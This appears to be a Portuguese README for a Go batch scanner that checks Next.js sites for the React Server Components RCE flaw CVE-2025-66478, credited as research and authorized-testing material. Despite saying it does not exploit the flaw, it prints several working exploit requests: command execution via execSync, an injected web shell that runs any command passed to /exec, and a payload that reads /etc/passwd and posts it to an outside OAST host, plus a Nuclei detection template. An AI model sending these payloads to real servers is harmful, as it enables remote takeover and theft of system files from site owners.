
Um scanner de linha de comando para detecção em lote de versões de aplicações Next.js e determinação se são afetadas pela vulnerabilidade CVE-2025-66478.
Um scanner de linha de comando para detecção em lote de versões de aplicações Next.js e determinação se são afetadas pela vulnerabilidade CVE-2025-66478.
Este scanner não explora a vulnerabilidade
https://nextjs.org/blog/CVE-2025-66478

git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Windows Build
go build -o nextjs-rce-scanner.exe
# Varredura de alta concorrência (10 simultâneos)
./nextjs-rce-scanner -file urls.txt -c 10
# Modo GUI (para depuração):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Timeout personalizado
./nextjs-rce-scanner -file urls.txt -timeout 60
# Para servidores headless (Ubuntu/Debian) - adicionar flags do Chrome
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Usar Chrome/Chromium instalado no sistema
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Combine o caminho do binário do Chrome com flags (para servidores)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Filtrar e escanear URLs específicas
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Combinar com outras ferramentas Unix
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3
Linux:
/usr/bin/google-chrome ou /usr/bin/chromium-browser/usr/bin/google-chrome-stable ou /usr/bin/chromium/var/lib/flatpak/exports/bin/com.google.ChromemacOS:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome/Applications/Chromium.app/Contents/MacOS/ChromiumWindows:
C:\Program Files\Google\Chrome\Application\chrome.exeC:\Program Files (x86)\Google\Chrome\Application\chrome.exewindow.next.version para obter informações de versãocreate-next-appnpx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Start the application
npm run dev

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
curl "http://localhost:3000/exec?cmd=ls+-l"

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
⚠️⚠️⚠️ substitua an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com pelo seu próprio domínio OAST/dnslog
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
/etc/passwd{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

crédito do exploit inicial: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

Salve o código do template abaixo em react2shell.yaml, depois execute o Nuclei.
nuclei -silent -u http://localhost:3000 -t react2shell.yaml
crédito: @Behi_Sec
⚠️ este template nuclei detecta apenas servidores vulneráveis rodando em sistemas baseados em Unix
id: cve-2025-55182-react2shell
info:
name: Next.js/React Server Components RCE (React2Shell)
author: assetnote
severity: critical
description: |
Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
reference:
- https://github.com/assetnote/react2shell-scanner
- https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id:
- CVE-2025-55182
- CVE-2025-66478
tags: cve, cve2025, nextjs, rce, react
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
matchers-condition: and
matchers:
- type: word
part: header
words:
- "/login?a=13371337"
- "X-Action-Redirect"
condition: and
Você pode determinar se a funcionalidade RSC vulnerável do NextJS existe com base no campo Vary do cabeçalho de resposta HTTP.
Licença MIT
Esta ferramenta é apenas para pesquisa de segurança e testes autorizados. Usar esta ferramenta para escanear alvos não autorizados pode violar leis e regulamentos relevantes. Os usuários são responsáveis por quaisquer consequências.